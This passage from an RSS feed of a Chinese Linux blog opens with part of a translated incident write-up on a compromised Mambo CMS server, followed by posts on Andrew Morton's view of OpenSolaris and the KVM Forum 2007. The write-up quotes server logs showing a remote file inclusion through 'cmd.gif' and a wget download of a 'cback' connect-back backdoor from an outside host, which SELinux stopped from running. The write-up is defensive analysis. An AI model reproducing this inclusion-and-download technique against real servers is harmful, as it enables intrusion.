http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13<br />
[client 10.9.233.25] PHP Notice:  Undefined variable:  pro4 in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 69<br />
[ &#8230;output trimmed ]<br />
[client 10.9.233.25] PHP Notice:  Undefined variable:<br />
SERVER_SOFTWARE in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112<br />
[client 10.9.233.25] PHP Notice:  Undefined variable:<br />
SERVER_VERSION in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112<br />
&#8211;07:52:24&#8211;  http://172.16.31.57/cback<br />
           => `cback&#8217;<br />
Connecting to 172.16.31.57:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; [Thu May 04 07:52:25 2006]<br />
[error] [client 10.9.233.25] File does not exist: /var/www/html/cvs<br />
200 OK<br />
Length: 13,901 (14K) [text/plain]<br />
    0K &#8230;&#8230;&#8230;. &#8230;                         100%  110.90<br />
KB/s<br />
07:52:27 (110.90 KB/s) - `cback&#8217; saved [13901/13901]<br />
sh: ./cback: Permission denied<br />
[client 10.9.233.25] PHP Notice:  Undefined variable:  ch_msg in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 202<br />
[ &#8230;output trimmed&#8230;]<br />
[client 10.9.233.25] PHP Fatal error:  Cannot redeclare safemode()<br />
(previously declared in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php:129) in<br />
http://172.16.31.57/cmd.gif?/includes/footer.php on line 129</p>
<p>SELinux能够防止cback的执行, 在病毒第二阶段保护目标主机.</p>
<p>新的Mambo版本关闭了攻击者能够利用的漏洞, 所以我立即安装了新的Mambo版本.</p>
<p><strong>经验教训</strong></p>
<p>许多工具都需要分析攻击者是否已经控制了Linux操作系统的核心部分. 通过现代搜索引擎的强大搜索能力和对公众开放的漏洞信息, 你可以经常确定一个好的方案来防止恶意者的攻击.</p>
<p>在很多时候您在连网主机上测试安装源代码开放的程序, 这些程序被暴露在可以公开访问的连网计算机上. 而且测试安装程序通常都位于虚拟主机的Web服务器根目录下面, 这样为攻击者留下了后门.</p>
<p>许多基于PHP的系统在安装说明中都清楚的提示: 把软件解压缩到web服务器的根目录, 然后修改一些配置文件. 你不可能经常使用同样干净的操作系统安装PHP程序, 而且每一个安装都使用不同的PHP模版. 在安装Mamboo和攻击之间将会有11个月的时间, 在这其间我根本上不会更新软件.</p>
<p>建议定期使用yum或者apt-get更新Mambo程序. 当我开始分析Mambo的时候, 我没有发现它的RPM包. 虽然第三方的RPM包已经存在. 操作系统组织和软件作者需要通过更好的协作来提供基于web方式自动软件更新.</p>
<p>SELinux真的节省了我的时间, 而且可以防止攻击程序的运行. 如果没有SELinux的保护, 攻击者很有可能获得了主机的root权限, 我将需要花费更多的时间来分析和进行数据恢复.</p>
<p>资源</p>
<p>SELinux: <a href="http://www.nsa.gov/selinux" target="_blank">www.nsa.gov/selinux</a></p>
<p>Mambo: <a href="http://www.mamboserver.com" target="_blank">www.mamboserver.com</a></p>
<p>Red Hat SELinux向导<br />
<a href="http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide" target="_blank">http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide</a></p>
<p>ComputerWorld上介绍Mambo病毒的文章:<br />
<a href="http://www.computerworld.com/securitytopics/security/story/0,10801,108868,00.html?source=x73" target="_blank">http://www.computerworld.com/securitytopics/security/story/0,10801,108868,00.html?source=x73</a></p>
<p>Outpost24上介绍Mambo病毒的文章:<br />
<a href="http://www.outpost24.com/ops/delta/FrameIndex.jsp?page=/ops/delta/news/News.jsp%3FXID%3D1157%26XVCLANGUAGEID%3D" target="_blank">http://www.outpost24.com/ops/delta/FrameIndex.jsp&#8230;</a></p>
<p>F-Secure上的病毒报道:<br />
<a href="http://www.f-secure.com/v-descs/mare_d.shtml" target="_blank">http://www.f-secure.com/v-descs/mare_d.shtml</a></p>
<p>F-Secure上的Mambo漏洞报道:<br />
<a href="http://archives.neohapsis.com/archives/bugtraq/2006-02/0463.html" target="_blank">http://archives.neohapsis.com/archives/bugtraq/2006-02/0463.html</a></p>
<p>CVE漏洞库: <a href="http://www.cve.mitre.org">www.cve.mitre.org</a></p>
<p>CVE漏洞库中的Mambo报道:<br />
<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3738" target="_blank">http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3738</a><br />
Linux磁盘镜像<br />
<a href="http://www.mega-tokyo.com/osfaq/Disk%20Images%20Under%20Linux" target="_blank">http://www.mega-tokyo.com/osfaq/Disk%20Images%20Under%20Linux</a></p>
<p>获取Mambo RPM软件包:<br />
<a href="http://dag.wieers.com/packages/mambo" target="_blank">http://dag.wieers.com/packages/mambo</a></p>
<p>Richard Bullington-McGuire是PKR互连网络公司的管理合作伙伴, PKR位于美国维吉尼亚州的阿林顿市, 公司专注于Linux, 开源\和Java. Richard也创建了Obscure组织, 一个通过技术促进创造和社区的非赢利性组织. 他从1994年开始就是一名Linux的系统管理员. 你可以通过电邮rbulling@pkrinternet.com与Richard取得联系.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/mambo" rel="tag">Mambo</a>, <a href="http://zhaoke.com/blog/tag/selinux" rel="tag">SELinux</a><a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/mambo" rel="tag">Mambo</a>, <a href="http://zhaoke.com/blog/tag/selinux" rel="tag">SELinux</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/137.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Morton: Linux将不整合OpenSolaris</title>
		<link>http://zhaoke.com/blog/132.html</link>
		<comments>http://zhaoke.com/blog/132.html#comments</comments>
		<pubDate>Fri, 10 Aug 2007 16:35:57 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>linux</dc:subject><dc:subject>opensolaris</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/132.html</guid>
		<description><![CDATA[
Linux内核主要维护者Andrew Morton说, 不要期望OpenSolaris的主要功能将会出现在Linux内核中.
在今年的LinuxWorld主题演讲中, Andrew Morton清楚地说到: 前OSDL CTO和Debian联合创始人IAN Murdock加入到SUN公司的操作系统平台组织将不会引起开源版本的Solaris Unix和Linux进行整合.

当回答一个在场者有关&#8221;是否可能将整合Solaris最显著的功能到Linux内核当中的问题时, Morton直接说到. &#8220;OpenSolaris的存在是一个很大的羞耻, 他们应当终止改项目. 这让人感到很失望, Sun公司犯了一个错误.&#8221;
Morton说这些功能包括 &#8212; Zones, ZFS 或 DTrace都将不可能整合到Linux内核中, 因为Sun拒绝采用GPL协议. ZFS许可证不与GPL协议兼容. SystemTAP在完成少数几项工作后将能实现DTrace的所有功能.
Morton也说到他没有看到很多人使用Sun的OpenSolaris. &#8220;我很少听到有关OpenSolaris, 没有人会认真考虑使用OpenSolaris.&#8221;
也许Sun的Indiana项目正在发生改变, 也许没有.
英文原文:
Morton: no merging of OpenSolaris with Linux
Keyword: linux, opensolarislinux, opensolaris]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2007/0811/opensolaris.gif" alt="" /></p>
<p>Linux内核主要维护者Andrew Morton说, 不要期望OpenSolaris的主要功能将会出现在Linux内核中.</p>
<p>在今年的<a href="http://www.linuxworldexpo.com/" target="_blank">LinuxWorld</a>主题演讲中, Andrew Morton清楚地说到: 前OSDL CTO和<a href="http://www.debian.org/" target="_blank">Debian</a>联合创始人<a href="http://ianmurdock.com/" target="_blank">IAN Murdock</a>加入到<a href="http://www.sun.com/" target="_blank">SUN公司</a>的操作系统平台组织将不会引起开源版本的<a href="http://www.sun.com/software/solaris/" target="_blank">Solaris Unix</a>和Linux进行整合.</p>
<p><a id="more-132"></a></p>
<p>当回答一个在场者有关&#8221;是否可能将整合Solaris最显著的功能到<a href="http://www.kernel.org/" target="_blank">Linux内核</a>当中的问题时, Morton直接说到. &#8220;<a href="http://www.opensolaris.org/" target="_blank">OpenSolaris</a>的存在是一个很大的羞耻, 他们应当终止改项目. 这让人感到很失望, Sun公司犯了一个错误.&#8221;</p>
<p>Morton说这些功能包括 &#8212; <a href="http://www.sun.com/bigadmin/content/zones/" target="_blank">Zones</a>, <a href="http://www.opensolaris.org/os/community/zfs/" target="_blank">ZFS</a> 或 <a href="http://www.sun.com/bigadmin/content/dtrace/" target="_blank">DTrace</a>都将不可能整合到Linux内核中, 因为Sun拒绝采用<a href="http://www.gnu.org/copyleft/gpl.html" target="_blank">GPL协议</a>. ZFS许可证不与GPL协议兼容. <a href="http://sourceware.org/systemtap/" target="_blank">SystemTAP</a>在完成少数几项工作后将能实现DTrace的所有功能.</p>
<p>Morton也说到他没有看到很多人使用Sun的OpenSolaris. &#8220;我很少听到有关OpenSolaris, 没有人会认真考虑使用OpenSolaris.&#8221;</p>
<p>也许Sun的<a href="http://www.opensolaris.org/os/project/indiana/" target="_blank">Indiana项目</a>正在发生改变, 也许没有.</p>
<p>英文原文:<br />
<a href="http://blogs.zdnet.com/open-source/?p=1295" target="_blank">Morton: no merging of OpenSolaris with Linux</a></p>
Keyword: <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/opensolaris" rel="tag">opensolaris</a><a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/opensolaris" rel="tag">opensolaris</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/132.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>KVM 2007论坛</title>
		<link>http://zhaoke.com/blog/131.html</link>
		<comments>http://zhaoke.com/blog/131.html#comments</comments>
		<pubDate>Fri, 10 Aug 2007 15:01:16 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>kernel</dc:subject><dc:subject>kvm</dc:subject><dc:subject>linux</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/131.html</guid>
		<description><![CDATA[
KVM开发者社区将举办第一届KVM论坛会议, 论坛的目的是聚集开发者, 测试者及其它技术人员来共同讨论今日KVM的状况. 我们也将会勾画KVM未来的开发路线图, 应对开发挑战, 达成共同开发将采用的开发模式.
论坛详情:

2007年8月29-31日
Loew’s Ventana Canyon Resort
Tucson, Arizona
论坛网址:
http://www.qumranet.com/KVMForum2007.php

Keyword: kernel, kvm, linuxkernel, kvm, linux]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2007/0810/kvm2007forum.gif" alt="" /></p>
<p>KVM开发者社区将举办第一届KVM论坛会议, 论坛的目的是聚集开发者, 测试者及其它技术人员来共同讨论今日KVM的状况. 我们也将会勾画KVM未来的开发路线图, 应对开发挑战, 达成共同开发将采用的开发模式.</p>
<p>论坛详情:<br />
<a id="more-131"></a><br />
2007年8月29-31日<br />
Loew’s Ventana Canyon Resort<br />
Tucson, Arizona</p>
<p>论坛网址:<br />
<a href="http://www.qumranet.com/KVMForum2007.php" target="_blank">http://www.qumranet.com/KVMForum2007.php</a>
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/kernel" rel="tag">kernel</a>, <a href="http://zhaoke.com/blog/tag/kvm" rel="tag">kvm</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a><a href="http://zhaoke.com/blog/tag/kernel" rel="tag">kernel</a>, <a href="http://zhaoke.com/blog/tag/kvm" rel="tag">kvm</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/131.html/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

